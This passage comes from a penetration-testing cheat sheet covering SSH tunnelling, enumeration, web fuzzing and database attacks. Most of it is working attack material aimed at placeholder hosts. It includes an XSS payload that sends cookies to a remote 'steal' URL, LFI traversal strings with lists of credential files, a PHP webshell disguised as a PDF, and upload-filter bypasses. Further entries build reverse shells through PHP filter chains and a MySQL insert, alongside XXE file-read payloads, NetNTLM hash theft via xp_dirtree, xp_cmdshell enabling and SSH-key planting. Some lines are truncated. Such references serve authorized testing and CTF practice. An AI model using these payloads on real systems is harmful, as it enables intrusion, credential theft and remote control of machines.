ssh -N -L 1234:127.0.0.1:1234 <USERNAME>@<RHOST>
```

```
ssh -L 80:<LHOST>:80 <RHOST>
```

```
ssh -L 127.0.0.1:80:<LHOST>:80 <RHOST>
```

```
ssh -L 80:localhost:80 <RHOST>
```

## Time and Date

### Get the Server Time

```
sudo nmap -sU -p 123 --script ntp-info <RHOST>
```

### Stop virtualbox-guest-utils to stop syncing Time

```
sudo /etc/init.d/virtualbox-guest-utils stop
```

### Stop systemd-timesyncd to sync Time manually

```
sudo systemctl stop systemd-timesyncd
```

### Disable automatic Sync

```
sudo systemctl disable --now chronyd
```

### Options to set the Date and Time

```
sudo net time -c <RHOST>
sudo net time set -S <RHOST>
sudo net time \\<RHOST> /set /y
sudo ntpdate <RHOST>
sudo ntpdate -s <RHOST>
sudo ntpdate -b -u <RHOST>
sudo timedatectl set-timezone UTC
sudo timedatectl list-timezones
sudo timedatectl set-timezone '<COUNTRY>/<CITY>'
sudo timedatectl set-time 15:58:30
sudo timedatectl set-time '2015-11-20 16:14:50'
sudo timedatectl set-local-rtc 1
```

## Keep in Sync with a Server

```
while [ 1 ]; do sudo ntpdate <RHOST>;done
```

## Tmux

```
ctrl b + w    # show windows
ctrl + "      # split window horizontal
ctrl + %      # split window vertical
ctrl + ,      # rename window
ctrl + {      # flip window
ctrl + }      # flip window
ctrl + spacebar # switch pane layout
```

## Copy & Paste

```
:setw -g mode-keys vi
ctrl b + [
space
enter
ctrl b + ]
```

## Search

```
ctrl b + [    # enter copy
ctrl + /      # enter search while within copy mode for vi mode
n             # search next
```



```
shift + n      # reverse search
```

## Logging

```
ctrl b  
shift + P     # start / stop
```

## Save Output

```
ctrl b + :  
capture-pane -S -  
ctrl b + :  
save-buffer <FILE>.txt
```

## Upgrading Shells

```
python -c 'import pty;pty.spawn("/bin/bash")'  
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```
ctrl + z  
stty raw -echo  
fg  
Enter  
Enter  
export XTERM=xterm
```

## Alternatively:

```
script -q /dev/null -c bash  
/usr/bin/script -qc /bin/bash /dev/null
```

## Oneliner

```
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 co
```

## Fixing Staircase Effect

```
env reset
```

or

```
stty onlcr
```

## VirtualBox

```
sudo pkill VBoxClient && VBoxClient --clipboard
```

## virtualenv

```
sudo apt-get install virtualenv
virtualenv -p python2.7 venv
. venv/bin/activate
```

```
python.exe -m pip install virtualenv
python.exe -m virtualenv venv
venv\Scripts\activate
```

## Information Gathering

### memcached

<https://tinyurl.com/yscq43ox>

```
memcrashed / 11211/UDP
```

```
npm install -g memcached-cli
memcached-cli <USERNAME>:<PASSWORD>@<RHOST>:11211
echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211
```

```
STAT pid 21357
STAT uptime 41557034
STAT time 1519734962
```

```
sudo nmap <RHOST> -p 11211 -sU -sS --script memcached-info
```

```

stats items
stats cachedump 1 0
get link
get file
get user
get passwd
get account
get username
get password

```

## NetBIOS

```

nbtscan <RHOST>
nmblookup -A <RHOST>

```

## Nmap

```

sudo nmap -A -T4 -sC -sV -p- <RHOST>
sudo nmap -sV -sU <RHOST>
sudo nmap -A -T4 -sC -sV --script vuln <RHOST>
sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery <RHOST>
sudo nmap -sC -sV -p- --scan-delay 5s <RHOST>
sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.real
ls -lh /usr/share/nmap/scripts/*ssh*
locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|versi

```

## Port Scanning

```

for p in {1..65535}; do nc -vn <RHOST> $p -w 1 -z & done 2> <FILE>.txt

```

```

export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$

```

## snmpwalk

```

snmpwalk -c public -v1 <RHOST>
snmpwalk -v2c -c public <RHOST> 1.3.6.1.2.1.4.34.1.3
snmpwalk -v2c -c public <RHOST> .1
snmpwalk -v2c -c public <RHOST> nsExtendObjects
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.25

```

```
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 <RHOST> .1.3.6.1.2.1.1.5
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.3.1.1
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.27
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.6.13.1.3
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.6.3.1.2
```

## Web Application Analysis

### Burp Suite

```
Ctrl+r // Sending request to repeater
Ctrl+i // Sending request to intruder
Ctrl+Shift+b // base64 encoding
Ctrl+Shift+u // URL decoding
```

### Set Proxy Environment Variables

```
export HTTP_PROXY=https://tinyurl.com/3fjzq
export HTTPS_PROXY=https://tinyurl.com/4mk9oz
```

### cadaver

```
cadaver http://<RHOST>/<WEBDAV_DIRECTORY>/
```

```
dav:/<WEBDAV_DIRECTORY>/> cd C
dav:/<WEBDAV_DIRECTORY>/C/> ls
dav:/<WEBDAV_DIRECTORY>/C/> put <FILE>
```

### Cross-Site Scripting (XSS)

```
<sCrIpt>alert(1)</ScRipt>
<script>alert('XSS');</script>
<script>alert(document.cookies)</script>
<script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script>
<script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script>
<script>user.changeEmail('user@domain');</script>
<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>
```

```
<img src='http://<RHOST>' />
```

## ffuf

```
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fs <NUMBER> -i  
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fw <NUMBER> -i  
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ -mc 200,204,301  
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u h  
ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://<
```

## API Fuzzing

```
ffuf -u https://<RHOST>/api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,4
```

## Searching for LFI

```
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://<RHOST>
```

## Fuzzing with PHP Session ID

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercas
```

## Recursion

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-smal
```

## File Extensions

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-smal
```

## Rate Limiting

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-smal
```

## Virtual Host Discovery

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

## Massive File Extension Discovery

```
ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://<RHOST>
```

## GitTools

```
./gitdumper.sh http://<RHOST>/.git/ /PATH/TO/FOLDER  
./extractor.sh /PATH/TO/FOLDER/ /PATH/TO/FOLDER/
```

## Gobuster

```
-e // extended mode that renders the full url  
-k // skip ssl certificate validation  
-r // follow redirects  
-s // status codes  
-b // exclude status codes  
-k // ignore certificates  
--wildcard // set wildcard option
```

```
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u h  
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>  
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,h  
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-lis
```

## Common File Extensions

txt,bak,php,html,js,asp,aspx

## Common Picture Extensions

png,jpg,jpeg,gif,bmp

## POST Requests

```
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-
```

## DNS Recon

```
gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-t  
gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdoma
```

## VHost Discovery

```
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subd  
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subd
```

## Specify User Agent

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http
```

## Local File Inclusion (LFI)

```
http://<RHOST>/<FILE>.php?file=  
http://<RHOST>/<FILE>.php?file=../../../../../../../../../../../../etc/passwd  
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../../../etc/passwd
```

## Until php 5.3

```
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../../../etc/passwd%00
```

## Null Byte

```
%00  
0x00
```

## Encoded Traversal Strings

```
../  
..\  
..\/  
%2e%2e%2f
```

```
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\\.\\
```

## php://filter Wrapper

<https://tinyurl.com/yux6oqdu>

<https://tinyurl.com/y4ezgl4c/tree/master/File%20Inclusion>

<https://tinyurl.com/y4ezgl4c/tree/master/File%20Inclusion#wrapper-phpfilter>

```
url=php://filter/convert.base64-encode/resource=file:///var/www/<RH0ST>/api.php
```

```
http://<RH0ST>/index.php?page=php://filter/convert.base64-encode/resource=index
http://<RH0ST>/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
base64 -d <FILE>.php
```

## Django, Rails, or Node.js Web Application Header Values

```
Accept: ../../../../../../../../../../../../../../etc/passwd{{
Accept: ../../../../../../../../../../../../../../etc/passwd{%0D
Accept: ../../../../../../../../../../../../../../etc/passwd{%0A
Accept: ../../../../../../../../../../../../../../etc/passwd{%00
Accept: ../../../../../../../../../../../../../../etc/passwd{%0D{{
Accept: ../../../../../../../../../../../../../../etc/passwd{%0A{{
Accept: ../../../../../../../../../../../../../../etc/passwd{%00{{
```

## Linux Files

```
/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
```



```
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
```

```
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftpd.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftp/ftpaccess
/etc/wu-ftp/ftphosts
/etc/wu-ftp/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
```

```
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
```

```
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chtcp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
```

```
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpd/ssl.access_log
/var/log/httpd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utills.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
```

```
~/ .bash_history
~/ .bash_logout
~/ .bash_profile
~/ .bashrc
~/ .gtkrc
~/ .login
~/ .logout
~/ .mysql_history
~/ .nano_history
~/ .php_history
~/ .profile
~/ .ssh/authorized_keys
~/ .ssh/id_dsa
~/ .ssh/id_dsa.pub
~/ .ssh/id_rsa
~/ .ssh/id_rsa.pub
~/ .ssh/identity
~/ .ssh/identity.pub
~/ .viminfo
~/ .wm_style
~/ .Xdefaults
~/ .xinitrc
~/ .Xresources
~/ .xsession
```

## Windows Files

```
C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
```

C:/Program Files/FileZilla Server/FileZilla Server.xml  
C:/Program Files/MySQL/data/hostname.err  
C:/Program Files/MySQL/data/mysql-bin.log  
C:/Program Files/MySQL/data/mysql.err  
C:/Program Files/MySQL/data/mysql.log  
C:/Program Files/MySQL/my.ini  
C:/Program Files/MySQL/my.cnf  
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err  
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log  
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err  
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log  
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf  
C:/Program Files/MySQL/MySQL Server 5.0/my.ini  
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf  
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf  
C:/Program Files (x86)/Apache Group/Apache/conf/access.log  
C:/Program Files (x86)/Apache Group/Apache/conf/error.log  
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml  
C:/Program Files (x86)/xampp/apache/conf/httpd.conf  
C:/WINDOWS/php.ini  
C:/WINDOWS/Repair/SAM  
C:/Windows/repair/system  
C:/Windows/repair/software  
C:/Windows/repair/security  
C:/WINDOWS/System32/drivers/etc/hosts  
C:/Windows/win.ini  
C:/WINNT/php.ini  
C:/WINNT/win.ini  
C:/xampp/apache/bin/php.ini  
C:/xampp/apache/logs/access.log  
C:/xampp/apache/logs/error.log  
C:/Windows/Panther/Unattend/Unattended.xml  
C:/Windows/Panther/Unattended.xml  
C:/Windows/debug/NetSetup.log  
C:/Windows/system32/config/AppEvent.Evt  
C:/Windows/system32/config/SecEvent.Evt  
C:/Windows/system32/config/default.sav  
C:/Windows/system32/config/security.sav  
C:/Windows/system32/config/software.sav  
C:/Windows/system32/config/system.sav  
C:/Windows/system32/config/regback/default  
C:/Windows/system32/config/regback/sam  
C:/Windows/system32/config/regback/security  
C:/Windows/system32/config/regback/system  
C:/Windows/system32/config/regback/software  
C:/Program Files/MySQL/MySQL Server 5.1/my.ini  
C:/Windows/System32/inetsrv/config/schema/ASPNET\_schema.xml  
C:/Windows/System32/inetsrv/config/applicationHost.config

```
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
```

## PDF PHP Inclusion

Create a file with a PDF header, which contains PHP code.

```
%PDF-1.4
```

```
<?php
    system($_GET["cmd"]);
?>
```

```
http://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoami
```

## PHP Upload Filter Bypasses

```
.sh
.cgi
.inc
.txt
.pht
.phtml
.phP
.Php
.php3
.php4
.php5
.php7
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.jpeg
```

```
<FILE>.php%20
<FILE>.php%0d%0a.jpg
<FILE>.php%0a
<FILE>.php.jpg
```



```

<FILE>.php%00.gif
<FILE>.php\x00.gif
<FILE>.php%00.png
<FILE>.php\x00.png
<FILE>.php%00.jpg
<FILE>.php\x00.jpg
mv <FILE>.jpg <FILE>.php\x00.jpg

```

## PHP Filter Chain Generator

<https://tinyurl.com/yv3gjun7>

```

python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
python3 php_filter_chain_generator.py --chain "<?php echo shell_exec(id); ?>"
python3 php_filter_chain_generator.py --chain """"<?php echo shell_exec(id); ?>""""
python3 php_filter_chain_generator.py --chain """"<?php exec('"/bin/bash -c 'bash -:
python3 php_filter_chain_generator.py --chain """"<?php exec('"/bin/bash -c 'bash -:

```

<http://<RH0ST>/?page=php://filter/convert.base64-decode/resource=PD9waHAgZWNoYBzaG>

```

python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
[+] The following gadget chain will generate the following code : <?= exec($_GET[0]
php://filter/convert.iconv.UTF8.CSIS02022KR|convert.base64-encode|<---- SNIP ---->|co

```

## PHP Generic Gadget Chains (PHPGGC)

```

phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/<FILE>.txt /PATH/T0/FILE/<FILE>.txt

```

## Server-Side Request Forgery (SSRF)

<https://<RH0ST>/item/2?server=server.<RH0ST>/file?id=9&x=>

## Server-Side Template Injection (SSTI)

### Fuzz String

<https://tinyurl.com/ypta53z7>

```
${{<%[%'"]}}%\.
```

## Magic Payload

<https://tinyurl.com/ytkmvys6>

```
{{ '.__class__.__mro__[1].__subclasses__() }}
```

## Upload Vulnerabilities

ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution  
 SVG: Stored XSS / Server-Side Request Forgery  
 GIF: Stored XSS  
 CSV: CSV Injection  
 XML: XXE  
 AVI: Local File Inclusion / Server-Side request Forgery  
 HTML/JS: HTML Injection / XSS / Open Redirect  
 PNG / JPEG: Pixel Flood Attack  
 ZIP: Remote Code Execution via Local File Inclusion  
 PDF / PPTX: Server-Side Request Forgery / Blind XXE

## wfuzz

```
wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt -u http://<RHOST>/FUZZ/<FILE>.php
```

## Write to File

```
wfuzz -w /PATH/TO/WORDLIST -c -f <FILE> -u http://<RHOST> --hc 403,404
```

## Custom Scan with limited Output

```
wfuzz -w /PATH/TO/WORDLIST -u http://<RHOST>/dev/304c0c90fbc6520610abff378e2339d1/dl
```

## Fuzzing two Parameters at once

```
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://<RHO!
```

## Domain

```
wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -l
```

## Subdomain

```
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.
```

## Git

```
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files-lowe
```

## Login

```
wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "email=FUZZ&password=<PASSWO  
wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "username=FUZZ&password=<PAS
```

## SQL

```
wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db:
```

## DNS

```
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Or:  
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-1100  
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-1100
```

## Numbering Files

```
wfuzz -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt --hw 31 https
```

## Enumerating PIDs

```
wfuzz -u 'https://tinyurl.com/2x2jhx7j' -z range,900-1000
```

## WPScan

```
wpscan --url https://<RHOST> --enumerate u,t,p
wpscan --url https://<RHOST> --plugins-detection aggressive
wpscan --url https://<RHOST> --disable-tls-checks
wpscan --url https://<RHOST> --disable-tls-checks --enumerate u,t,p
wpscan --url http://<RHOST> -U <USERNAME> -P passwords.txt -t 50
```

## XML External Entity (XXE)

### Skeleton Payload Request

```
GET / HTTP/1.1
Host: <RHOST>:<RPORT>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 136

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://<LHOST>:80/shell.php" >]>
<foo>&xxe;</foo>
```

### Payloads

```
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:
<stockCheck><productId>&passwd;</productId><storeId>1</storeId></stockCheck>
```

```
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.i
```

```
username=%26username%3b&version=1.0.0--><!DOCTYPE+username+[<!ENTITY+username+SYSTI
```

## Database Analysis

### MongoDB

```
mongo "mongodb://localhost:27017"
```

```
> use <DATABASE>;
> show tables;
> show collections;
> db.system.keys.find();
> db.users.find();
> db.getUsers();
> db.getUsers({showCredentials: true});
> db.accounts.find();
> db.accounts.find().pretty();
> use admin;
```

### User Password Reset to "12345"

```
> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "pas:
```

## MSSQL

### Show Database Content

```
1> SELECT name FROM master.sys.databases
2> go
```

### OPENQUERY

```
1> select * from openquery("web\clients", 'select name from master.sys.databases');
2> go
```

```
1> select * from openquery("web\clients", 'select name from clients.sys.objects');
2> go
```

### Binary Extraction as Base64

```
1> select cast((select content from openquery([web\clients], 'select * from clients
2> go > export.txt
```

### Steal NetNTLM Hash / Relay Attack

```
SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'
```

## MySQL

```
mysql -u root -p  
mysql -u <USERNAME> -h <RHOST> -p
```

```
mysql> show databases;  
mysql> use <DATABASE>;  
mysql> show tables;  
mysql> describe <TABLE>;  
mysql> SELECT * FROM Users;  
mysql> SELECT * FROM users \G;  
mysql> SELECT Username,Password FROM Users;
```

## Update User Password

```
mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id :
```

## Drop a Shell

```
mysql> \! /bin/sh
```

## xp\_cmdshell

```
SQL> EXEC sp_configure 'Show Advanced Options', 1;  
SQL> reconfigure;  
SQL> sp_configure;  
SQL> EXEC sp_configure 'xp_cmdshell', 1;  
SQL> reconfigure  
SQL> xp_cmdshell "whoami"
```

```
SQL> enable_xp_cmdshell  
SQL> xp_cmdshell whoami
```

## Insert Code to get executed

```
mysql> insert into users (id, email) values (<LPORT>, "- E $(bash -c 'bash -i >& /d
```

## Write SSH Key into authorized\_keys2 file

```
mysql> SELECT "<KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED I
```

## Linked SQL Server Enumeration

```
SQL> SELECT user_name();
SQL> SELECT name,sysadmin FROM syslogins;
SQL> SELECT srvname,isremote FROM sysservers;
SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAI
```

## NoSQL Injection

```
admin'||''==='  
{"username": {"$ne": null}, "password": {"$ne": null} }
```

## PostgreSQL

```
psql  
psql -h <LHOST> -U <USERNAME> -c "<COMMAND>;"  
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>  
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
```

## Common Commands

```
postgres=# \list // list all databases  
postgres=# \c // use database  
postgres=# \c <DATABASE> // use specific database  
postgres=# \s // command history  
postgres=# \q // quit  
<DATABASE>=# \dt // list tables from current schema  
<DATABASE>=# \dt *.* // list tables from all schema  
<DATABASE>=# \du // list users roles  
<DATABASE>=# \du+ // list users roles
```

```

<DATABASE>=# SELECT user;           // get current user
<DATABASE>=# TABLE <TABLE>;       // select table
<DATABASE>=# SELECT * FROM users;   // select everything from users table
<DATABASE>=# SHOW rds.extensions;   // list installed extensions
<DATABASE>=# SELECT username, passwd from pg_shadow; // read credentials

```

## Redis

```

> AUTH <PASSWORD>
> AUTH <USERNAME> <PASSWORD>
> INFO SERVER
> INFO keypace
> CONFIG GET *
> SELECT <NUMBER>
> KEYS *
> HSET           // set value if a field within a hash data structure
> HGET           // retrieves a field and his value from a hash data structure
> HKEYS          // retrieves all field names from a hash data structure
> HGETALL        // retrieves all fields and values from a hash data structure
> GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b
> SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\<USERNAME>\";role

```

## Enter own SSH Key

```

redis-cli -h <RHOST>
